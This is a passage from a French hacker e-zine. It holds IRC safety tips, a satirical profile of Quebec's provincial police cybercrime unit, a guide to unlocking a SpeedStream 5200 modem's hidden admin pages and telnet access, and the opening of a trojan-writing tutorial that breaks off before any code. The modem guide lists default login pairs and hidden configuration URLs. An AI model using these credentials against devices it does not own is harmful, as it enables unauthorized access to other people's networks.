      - Utilisez un nick de nature general, qui ne donne pas d'information sur l'age que vous 
        pourriez avoir ni votre sexe.
      - Ne tlchargez aucuns fichiers sauf si vous faite entirement confiance  au  "sender" 
        et que vous savez qu'est-ce que le fichier contien.
      - N'allez pas sur les sites qui sont publis sur les salon par  des  personnes  ou  des 
        bots. Ils peuvent contenir du code malveillant qui peut  tre  tlcharg  sur  votre 
        ordinateur.
      - Ne taper aucune commande dont vous ne connaissez pas  son  utilit  et  le   rsultat 
        escompt. Ne jamais faire ce qu'un utilisateur vous demande de faire si ce qu'il vous 
        demande semble trange ou que vous ne connaissez pas le rsultat.
      - N'activ  pas  l'option  'Auto join on invite'.  Certains  utilisateurs  malveillants 
        pourraient vous faire joindre plusieurs salons lourdement  frquent  et ainsi forcer 
        le serveur  vous dconnecter pour  ne  pas  vous  flooder. Vous devez comprendre que 
        lorsque l'on join un salon, le client envoie la commande NAMES au serveur pour que ce 
        dernier vous envoie la  liste des utilisateurs qui sont prsent sur le salon que vous 
        venez de joindre. Plus il y a d'utilisateurs sur le salon, plus la liste est  longue. 
        De plus, certains clients, en plus d'envoyer la commande NAMES,  envoient la commande 
        WHO pour obtenir les hostnames des clients prsent sur le salon. Le serveur doit donc 
        vous envoyer une quantit d'informations importantes, et la plupars des servers, pour 
        vous protger, vont vous dconnecter si il y a trop d'informations  envoyer.
      - N'activ  pas  l'option  'Whois  on query'. Quelqu'un pourrais simplement  lancer  un 
        simple flood de privmsg avec un botnet suffisament populeux  pour que le serveur vous 
        dconnect pour 'Excess Flood'.

4. Conclusion

   Voil,  c'est  ce  qui termine mon expos sur la scurit sous IRC. J'espre que certaines 
   des infos seront utiles pour les nophites ou pour les freaks de la scurit.


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |              Http://www.restobooking.com                     \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Par ce que tout le monde mange !!                                     ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[14]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de cops            ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: wannabe a cops super star, big gun fat cars...            ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Wyzeman   ]=\:\ _//     
                                                  \__\________________________/__/ 




L'ide de faire un article sur les mthodes, conventions, et  l'organisation  d'une   brigade 
policire ddi  la scurit informatique ne nous serait surement pas  venu    l'esprit  si 
nous n'avions pas t mis au courant du fait que des confrences  donne  par  notre  corp de 
police provincial (la Suret du Qubec, sympatiquement appell SQ) traitais des mthodes, des 
conventions et de l'organisation  des  goupes  de  hacker  en  gnrale  et  de  mindkind  en 
particulier. Une parti de la confrence  portant le nom de "dissectation du groupe Mindkind". 
Livrant  un public amateur  l'image  que  Mindkind  est  un groupe organiser (roche, papier, 
sciseaux) disposant de  multitude  de  moyen de communication (ma soeur aussi chat sur irc et 
msn , elle  a  meme  un  cellulaire  aussi, oui oui), d'une diversiter de talent (la plus par 
d'entre  nous  sont incapable de se faire  manger) et d'une  ducation lev  (du secondaire 
2  au  doctorat)  ainsi  que  d'une bonne  source de revenu (le porn). He ben, attention cher 
citoyen, Mindkind considre qu'il est important de vous dmontrer que le SCRS  la  GRC  et la 
SQ, sont des groupes organis (directeur,sous directeur, grade,  conventions, education, etc) 
disposant de multitude de moyen de communication  (frequence  rserver mes amis), ainsi d'une 
ducation lev (y'on meme leur  propre  cole  et programme de cegep), sans compter bien sur 
une bonne source de revenu (vosimpots, taxe, amende..). Pour ce qui est de la  diversit  des 
talents, bien disont  simplement qu'ils ont une DIVISION informatique. 


	Nous nous sommes donc permis dutilisez les mmes mthodes dinvestigation  extremement 
avanc que la SQ  utilis contre nous. Autrement dit on est all lire  leur site web, cout 
leur confrence, tapez leur lignes, installer des hommes de  pailles  dans tout les postes du 
qubec et... bon je dlire on a juste lu leur site  web  et  nous  nous  sommes  procur  des 
comptes rendu de quelque une de leur confrence.  Ce  qui  fait que nous sommes maintenant en 
mesure  de  vous  livrer  des  informations  d'une  signification plus qu'insignifiante. Pour 
emprunter l'expression de "en attendant ben laden";  nous  vous  invitons    jetez un regard 
miope sur la suret du qubec. 


1) Raison d'etre
2) organisation
3) la division cybercrime et processus de plainte
4) conclusion


1) Raison d'etre 

"to serve and protect"

sur le site meme on nous fournis les informations suivantes :

	
Maintien de la paix, de l'ordre et de la scurit publique



 La Sret du Qubec, police nationale, concourt, sur l'ensemble  du  territoire  qubcois, 
au maintien de la paix et de l'ordre public,  la prservation de la  vie,  de la scurit et 
des droits fondamentaux des personnes ainsi qu' la  protection  de leurs biens. La Sret du 
Qubec  soutient  aussi  la  communaut    policire,  coordonne  des  oprations  policires 
d'envergure, contribue   l'intgrit  des  institutions  tatiques et assure la scurit des 
rseaux de transport qui relvent du Qubec.


Vision de la Sret du Qubec

 Grce  la mobilisation et  l'expertise de ses membres policiers et civils, la  Sret  du 
Qubec, en tant qu'organisation  moderne  et  dynamique,  vise    rpondre  aux  plus hautes 
exigences de qualit et de service dans tous ses champs d'activit.  Afin  de  mieux protger 
les citoyens, la Sret du Qubec place, au coeur de son  action  concerte, le respect de la 
loi et des droits fondamentaux des personnes.  


Les valeurs qui guident les actions et les interventions de la Sret du Qubec.

Intgrit

Respect

Professionnalisme

Service


La Sret du Qubec assure l'application de nombreuses lois qubcoises, notamment :

le Code de la scurit routire 
la Loi sur l'assurance automobile 
la Loi sur les loteries, courses et jeux  
la Loi sur les explosifs 
la Loi sur les agences d'investigation ou de scurit 
la Loi sur les infractions en matire de boissons alcooliques 
la Loi sur les permis d'alcool 
la Loi sur la Socit des alcools. 




De mme, dans le cadre de ses  comptences,  la  Sret  du  Qubec  applique  diverses  lois 
fdrales sur le territoire qubcois, principalement :

le Code criminel 
la Loi rglementant certaines drogues et autres substances 
la Loi sur les explosifs 
la Loi sur la marine marchande du Canada 
Loi sur les armes  feu. 


bref,  ce  sont  de  brave type qui contribue du mieu de leur comptence a rentre le monde de 
demain beaucoup plus  scure  et  paranoyaque. Cest gens protge aussi le gouvernement, c'est
donc a eux de jouer contre ceux qui trouble l'ordre public et crer le chaos.



2) organisation 

Pour arrivez  cette tche la police national dispose d'une imprssionnante organisation  qui 
savre parfois mme tre pltot efficace surtout dans la lutte au crime organiser (Al  capone 
a des clones mme au Qubec). Comme vous pourrez constatez sur  la  piece  a  conviction  #1. 
l'organigramme de la SQ compte plusieur directeur a la fois  geo  strategique et d'autre par, 
sectoriel (la jdois avouer quon les a un peu copier  pour  creer  la structure organisationel 
de mindkind ;]), 


3) La division Cybercrime et processus de plainte


Notre bonne vieille SQ dispose d'un departement propre relier au crime informatique  (faudre,
copyright, pedophilie, hacking, etc), Cette division traite avant tout les plaintes  relative
a des mefais du monde informatique mais possde aussi un caractre prventif visant  dtect
les dangers reli a l'informatique et l'utilisation d'Internet.  la  pice    conviction  #2 
dmontre quel cheminement prend une plainte vers un arrestation ou un rejet de la plainte.



4) Conclusion


Peu importe ce  que  vous  avez prvus faire en fin de semaine, rappellez vous que les forces
de  l'ordre  sont extrement plus organiser et efficace que aucun groupe undergroune ne pourra
jamais  l'tre  (  moin d'un  support  financier  colossal),  alors prennez vos prcotion et 
n'oublier  surtout pas qu'ils sont plus fort, plus nombreux, plus organiser et plus riche que 
vous et vos 10 potes runis. 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |          http://www.mindkind.org                             \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|                                                                \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Membre honnoraire du webring Hack.fr                                  ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[15]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Unlock speadstream 5200       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: Ginette va me chercher la hache.                          ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Nuclear   ]=\:\ _//     
                                                  \__\________________________/__/ 

  
         _.-+.        ____   __ __  ____    ___   _____  ____     ___   ____  __  _ 
    _.-""     '.     |    \ |  T  T|    \  /   \ |     ||    \   /  _] /    T|  l/ ]
+:""            '.   |  o  )|  |  ||  D  )Y     Y|   __j|  D  ) /  [_ Y  o  ||  ' / 
| \               '. |   _/ |  ~  ||    / |  O  ||  l_  |    / Y    _]|     ||    \
|  \            _.-+ |  |   l___, ||    \ |     ||   _] |    \ |   [_ |  _  ||     Y
|  '.       _.-"   | |  |   |     !|  .  Yl     !|  T   |  .  Y|     T|  |  ||  .  |
J    \  _.-"       L l__j   l____/ l__j\_j \___/ l__j   l__j\_jl_2005_|__j__jl__j\_j
L     +"           J                                               Now more Stylized
 +    |            |  Www.Pyrofreak.Org                               
  \   |          .+   Www.Pyrofreak.Tk
   \  |       .-'                                                     
    \ |    .-'        
     \| .-'           
      +                 
					
								     
         			             (((
					    (o o)
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,ooO--(_)--Ooo--,,.-,.--,.-,.-,.,.,..,.-.-,.|
        Title:        Unlock SpeadStream 5200 ( dont read uncap )
        Author:       NuClEaR 
        Email:        nuclear@pyrofreak.org
        Irc:          #hack.fr && #phreak.fr && #pyrofreak @ undernet
        Website:      Www.PyroFreak.Org
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,.,-.-,.-,.-,.-,.,.,.,-.,-.-,.-,-.-,.,.-.-,.|
      
[ ::: Prface ::: ]





Il  semblerait  bien  que  Bell  ait lch ses anciens modles de modems depuis dj quelques 
temps,  et  qu'il remplacerait ceux-ci par des speadstream de efficient network. Cela est une 
bonne chose   en soit, les premiers 5200 avaient des bugs aprs quelques jours d?uptime, mais 
quelques patchs  ont  t  distribues  pour corriger ces quelques bugs. Les 5200,  la base, 
sont des modems avec  des  router  intgrs, dans forwarder et dhcp server. Bell utilise  une 
version entirement modifie  du  firmware.  Cette version est semblable  l'originale,  sauf 
qu"elle affiche seulement les  paramtres  de  base  de  l'utilisateur,  soit l'adresse ip du 
modem,  sa  mac  adresse  et  le nom d'usager sympatico. Une autre nouveaut avec ces modems, 
c'est qu'on peut les utiliser en mode Route. Dans ce cas, le modem   se  connecte  au  rseau 
pppoe par lui-mme, et l'ordinateur connect  celui-ci se  voit  attribuer  une  adresse  ip 
locale. C'est le mode par default quand on le reoit. Je me disais donc  que s'il  pouvait le 
faire pour un ordi, on pourrait srement le configurer pour pouvoir connecter  plusieurs ordi 
dessus comme un router ordinaire. Aprs un peu de recherche, j'ai  dcouvert  comment activer 
toutes les fonctions du modem dans l'interface web,  de  crer un utilisateur pour pouvoir se 
connecter  celui-ci en telnet, et mme en ftp.  On  peut galement faire des tests de ligne, 
et avoir plusieurs stats sur la ligne et le rseau.  Ces  modems  supportent  aussi  le  mode 
bridge   (comme  les  autres  modems  adsl  normaux,   qui  ncessitent  un  client pppoe sur 
l'ordinateur voulant accder  internet). J'ai pu lire que des anciennes versions des 5200 ne 
supportaient pas d?interface web,  vous  pouvez  p-e  toutefois  quand mme vous connecter en 
telnet.

|->-=-,-.-  [ ::: Index ::: ] -<-=-,-.-|

1 L?interface Web
    1.1 Connexion  l?interface web
    1.2 Configurer les access.
    1.3 Configurer les pages  afficher.
    1.4 Scurit du profile.
    1.5 Goto 1.2
    1.6 Access aux pages de configuration
    1.7 D?autres pages de conf moins importantes.

2 Connection  l?interface TELNET/FTP
    2.1 Prparation et configuration de l?adresse locale
    2.2 Crer un profil  utiliser pour connexion telnet/ftp
    2.3 Connexion en telnet
    2.4 Liste des commandes et options disponibles
    2.5 Variable pour d?autres version/model de modem.
    2.6 Si quelque chose tournait mal ?

3 Bye Bye
    3.1 Greetz


 Lets unlock it

1 [ ::: L?interface web ::: ]


Pour  dbloquer  l'interface  web,  vous  devez  vous  connecter    celui-ci      l'adresse 
http://192.168.2.1  partir de n'importe quel ordinateur sur le mme rseau que le modem avec 
une adresse ip de la mme classe ( ou une adresse attribue par  le  serveur  dhcp  du  modem 
activ par default)

1.1 [ ::: Connexion  l?interface web ::: ]

Allez sur cette page: http://192.168.2.1/pfwizardj.cgi?code=EDIT&id=prof0&retain=f

1.2 [ ::: Configurer les access ::: ]

Donc l, vous avez le choix de mettre un mot de passe  l'utilisateur admin ou de le  laisser 
sans password comme par defaut. Cliquez sur next. Laissez coch :Dsactiver  compltement  le 
filtrage d'URL,  moins que vous dsiriez bloquer le pr0n de votre rseau.

1.3 [ ::: Configurer les pages  afficher ::: ]

Aprs  avoir  appuy  sur next, on voit bien ce qui nous intresse, c?est donc ici la page ou 
l'on peut ajouter toutes les options    l'interface web. Cochez  la  petite  case  Tous  les 
lments et poursuivez avec suivant.

1.4 [ ::: Scurit du profile ::: ]

Accs  la scurit du profil, laissez par default Ne pas demander l'identification admin, si 
vous  voulez  le  modifier, faites-le par la suite quand vous aurez termin de dbarrer votre 
5200. Cliquer sur next, et ne mettez pas d?adresse ip dans la case, passez  la page suivante 
avec next, vous pouvez voir que l?assistant a termin son travail, cliquez sur terminer.


1.5 [ ::: Goto 1.2 ::: ] 

 ce point, vous pouvez aller sur http://192.168.2.1/, mais vous allez vite voir  que  a  ne 
marche    pas    encore,    il    reste    quelques    tapes!    Retournez        l'adresse 
http://192.168.2.1/pfwizardj.cgi?code=EDIT&id=prof1&retain=f et faites exactement  les  mmes 
setting qu?aux tapes prcdentes, sauf que cette fois-ci rendu   Adresse  IP  constante  du 
profil,  cette  fois-ci,  mettez  l'adresse  ip  de  votre machine avec laquelle  vous tentez 
d'accder   aux   configurations.   Poursuivez   l'assistant   comme   nonc lors des tapes 
prcdentes. 

1.6 [ ::: Access aux pages de configuration ::: ] 
 
Votre  interface  web  est  maintenant  dbarr  et  vous  avez  accs    plusieurs sections 
supplmentaires.  Il  manque toujours quelques outils pour pouvoir utiliser votre modem comme 
router, voici les liens directs pour pouvoir configurer chaque service:

192.168.2.1/dhcpcfg.htm - DHCP
192.168.2.1/ddnscfg.htm - Dynamic DNS
192.168.2.1/ipp_config.htm - IP Passthru
192.168.2.1/updatelocal.htm - Update firmware
192.168.2.1/ras_config.htm - RAS config
192.168.2.1/naptcfg.htm - Port forwarding
192.168.2.1/dmzcfg.htm - DMZ Config
192.168.2.1/fwcfg.html - Firewall Config
192.168.2.1/fwwizard.htm - Firewall Config Wizard
192.168.2.1/natcfg.htm - NAT/NAPT Configuration
192.168.2.1/hostcfg.html - Host Configuration
192.168.2.1/upnpcfg.html - UPNP Configuration
192.168.2.1/ripcfg.html - RIP Configuration
192.168.2.1/adscfg.htm - FW Attack Detection System
192.168.2.1/snoozecfg.htm - Firewall Snooze Control
192.168.2.1/lansrvscfg.htm - Gateway Server Port Config


Tout  a  trs  bien  marcher dans mon cas, et les setting du firewall, nat et portforwarding 
semble bien fonctionner. 

1.7 D?autre page accessible: 
192.168.2.1/pflogin.htm
192.168.2.1/vcwizardj.cgi?code=HOME
192.168.2.1/hostcfg.htm
192.168.2.1/dhcpcfg.htm
192.168.2.1/user.htm
192.168.2.1/timecfg.htm
192.168.2.1/statroute.htm
192.168.2.1/natcfg.htm
192.168.2.1/naptcfg.htm
192.168.2.1/fwcfg.htm
192.168.2.1/snoozecfg.htm
192.168.2.1/dmzcfg.htm
192.168.2.1/fwwizardj.cgi?code=HOME
192.168.2.1/fwlogshow.htm
192.168.2.1/adscfg.htm
192.168.2.1/upnpcfg.htm
192.168.2.1/rfc2684cfg.htm
192.168.2.1/brgmode.htm
192.168.2.1/ripcfg.htm
192.168.2.1/lansrvscfg.htm
192.168.2.1/ddnscfg.htm
192.168.2.1/summary.htm
192.168.2.1/syslogshow.htm
192.168.2.1/atmstatsx.htm
192.168.2.1/dslstatsx.htm
192.168.2.1/ethstatsx.htm
192.168.2.1/usbstatsx.htm
192.168.2.1/routestatsx.htm
192.168.2.1/reboot.htm


2. [ ::: Telnet et FTP ::: ]

Vous voulez peut-tre aller plus loin ? Les  speedstream  5200  ont  par default  un  serveur 
telnet et un ftp pour pouvoir configurer le modem ou bien lui envoyer des datas.  Voici  donc 
la  marche    suivre  pour  crer  un  utilisateur pouvant se connecter au telnet/ftp de ces 
modems.

2.1 [ ::: Prparation et configuration de l?adresse locale ::: ]

Pour  accder  aux ressources telnet du modem, vous devez avoir comme adresse ip 192.168.2.2, 
sinon le port est filtr et la connection est impossible.

2.2 [ ::: Crer un profil  utiliser pour connexion telnet/ftp ::: ] 

Dirigez vous vers: http://192.168.2.1/pfwizardj.cgi?code=EDIT&id=prof1&retain=f Et  entrez un 
mot de passe  l'utilisateur mfadmin, faites les mmes dmarches que tantt  lors des setting 
pour l'interface web, rendu  Adresse IP constante du profil, vous pouvez entrer l'adresse ip 
de votre machine, et quelques fois a arrive  que vous puissiez vous connecter au telnet avec 
cette ip sans utiliser 192.168.2.2.

2.3 [ ::: Connexion en telnet ::: ] 

Donc vous pouvez faire: telnet 192.168.2.1 ou ftp 192.168.2.1  partir de votre os favorit et 
entrez dans l'administration telnet du modem  l'aide du nom d'utilisateur et du mot de passe 
que vous avez spcifier  l'tape 2.2 

2.4: [ ::: Liste des commandes et options disponibles ::: ] 

Voici quelques commandes que j?ai copi  partir d?un site anglais: 
Toutes ces options doivent tre prcdes de une de ces 3 commandes:

do
clear
show
cfg

Ex: show net iface

flash -- non program flash, suggest not to touch it
cfg stat -- ability to "show" information on device. Includes devices infomation
dhcpc -- shows stats for clients connected via DHCP
arp -- arp table information
buff -- buffer information
iface -- shows interface information, think ifconfig (linux/unix)
stat -- equivelent of netstat
routes -- show route table
ppp -- shows ppp connections, oe01 is USB, oe00 is enet, includes current IP address
ipfw -- very basic firewall
stat -- show stats, such as rejects
log -- shows log, usally blank
dmz -- NOTE THIS: The 192.168.2.2 is in DMZ-- Firewall DMZ is enabled,
rules - show a non-easy-to-read ip table
napt -- Network Application Tunneling?
map -- shows the maping
servers -- blank during testing dsl
stat -- show line stats, including current profile
ber -- shows data rate for channels?
log -- error logs
tones -- test disabled
bins -- table printed out with stars, do not know what exactly it means (sorry)
brg -- show bridge more information
map -- show bridge map table
dhcp -- no entries in database
eth -- show information about ethernet connection
stat -- shows the line stats obviously
dhcp -- no entries in database
usb -- show information about usb connection
stat -- show line stats
dhcp -- no entries
atm stat -- show atm stats
2684
iface -- show stats about the device
2364
iface -- show stats about the device
ads -- show stats on the ads info. See * below
l2xp -- won't go through, exact same but one level deeper
flash
cfg
dhcpc
net
ipfw
napt
dsl
brg
eth
usb
atm
2684
2364
ads
l2xp
upnp
dnsrelay
firmware
sys
upnp -- shows universal network plug n play info
dnsrelay 
stat -- line stats
ber -- ber info again
log -- dsl log again
tones -- disables
bins -- again the star things
firmware -- DO NOT USE THIS, it is a command line upgrade option. Great Danger
sys -- show system info
memory -- show memory usage
versions -- firmware information
cpu -- show cpu usage
uptime -- total uptime in seconds
dma -- not implemented
log -- show system log, what has been done since last update
userlog -- if you enable differnt users (can't in this version of the firmware) 
           log information goes here
 noter que vous devez parfois faire: show le_group la_command ex: show net arp


2.5 [ ::: Variable pour d?autres version/model de modem ::: ] 

Quelques variables pour des anciennes versions des 5200 utilisent comme adresse  ip  10.0.0.1 
et  que vous devez donc modifier votre machine pour vous connecter aux interfaces avec une ip 
de la mme classe que le modem.

Pour les access telnet/web/ftp, par default on retrouve des fois les utilisateur/passwd: 
admin/admin
admin1/admin
bcadmin/bcadmin
mfadmin/mfadmin
B1VOTRE_USER_SYMPATICO/VOTRE_PASSWD

2.6 [ ::: Si quelque chose tournait mal ::: ] 

Si jamais quelque chose tournait mal, vous pouvez reseter votre modem en appuyant 4  secondes 
avec  quelque  chose  sur  la petite switch reset  l'endos du modem, et notez bien que cette 
procdure peut marcher  pour  d'autres modems que les 5200, et peut aussi ne pas marcher avec 
quelques 5200, tenez moi  jour de l'utilisation sur d?autres modems.


3.0 [ ::: Bye Bye ::: ]

En esprant que a ait bien march pour vous, et si vous trouvez d'autres options/faons plus 
simple, pour  ce  modem ou d'autres, postez nous votre savoir, c'est la seule faon de garder 
le site/zine  jour et de continuer  dvelopper de nouvelles connaissances.

3.1 [ ::: Greetz to ::: ]

Www.dslreports.com               Pour m'avoir donner beaucoup d?info sur le speedstream 5200.
Ma blonde mary@pyrofreak.org     Pour avoir corrig le document.
Patoff    patoff@pyrofreak.org   Pour avoir rajout de l'info + un beau ascii et m?avoir 
                                 pouss  faire ce doc.
 
 
  
  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |<freakguy> L'autre jour jme demandais ca dans ma tete     \\_  \_ \   \\_ M  ; . X
 || |<freakguy> si les filtreur de piscine cetais pas des      \_ \   \\_  \_ \ K      
 || |<freakguy> mteurs du projet mk-ultra dla cia et des       \\_  \_ \   \\_ -  : '
 ||`|<freakguy> illuminati, franc macon, opus dei, gang a binf!! \_ \   \\_  \_ \ 1   
 || |<freakguy> ca fait peur !! pensez y c'est machine la on       \\_  \_ \   \\_ 1  + 
 || |<freakguy> le droit de faire un bruit etrange et puis suffit  \_ \   \\_  \_ \ 1   
 ||'|<freakguy> que votre voisin sachete une piscine pour que vos    \\_  \_ \   \\_  x 
 || |<freakguy> obligation(femme/enfant/chien/chat/votre mere ?) se  \_ \   \\_  \_ \  `
 || |<freakguy> mettre a vous suplier pour en avoir une aussi!!!       \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Sant et parano canada prsente...                                    ]=\:\  |
  \__\__________________________________________________________________________________/ 



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[16]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ les bases d'un cheval de troie] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:                                                           ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   fluxius    ]=\:\ _//     
                                                  \__\________________________/__/ 



              0001001000000100000001001000001000000100010000000000010
              010      __  __           __  _____                 000 
              000     / / / /___ ______/ /_|__  /   _____  ____   001  
              001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
              000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
              000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
              010            http://hackever.n0ne.org             000
              0100010001000000100001001000001001000000010000010000100


Introduction :

Un  cheval de troie dit Troyen en d'autre thermes est un programme qui ouvre grand les portes 
de votre systme.

Histoire :
Le nom "Cheval de Troie" provient d'une lgende narre dans l'Iliade (de l'crivain Homre) à 
propos du sige de la ville de Troie par les Grecs. La lgende veut que les Grecs, n'arrivant 
pas à pntrer  dans les fortifications de la ville, eurent l'ide de construire  un  norme 
cheval  de  bois  pour  s'y  cacher  en faisant croire qu'ils avaient abandonn le sige. Les 
troyens  (peuple  de  la ville de Troie), heureux de voir le sige vide ramenre le cheval de 
bois comme  prix de leur victoire dans les murs de la ville. Cependant le cheval tait rempli 
de soldats  cachs qui s'empressrent d'en sortir à la tombe de la nuit, alors que la ville 
entire tait  endormie,  pour  ouvrir les portes de la cit et en donner l'accs au reste de 
l'arme ...

Si vous tes interessez par le "film"...

Le  cheval  de  troie  peut  causer  pas  mal de soucis : vol de mots de pass, destruction du 
systme... Nous allons vous expliquer  par  tape ce qu'est un troyen et vous donner quelques 
bases pour en programmer  un.  C'est  pas  gnial ! :-P.  Ce  tuto  traitera  le  cas   d'une 
programmation sur Windows.

Les bases

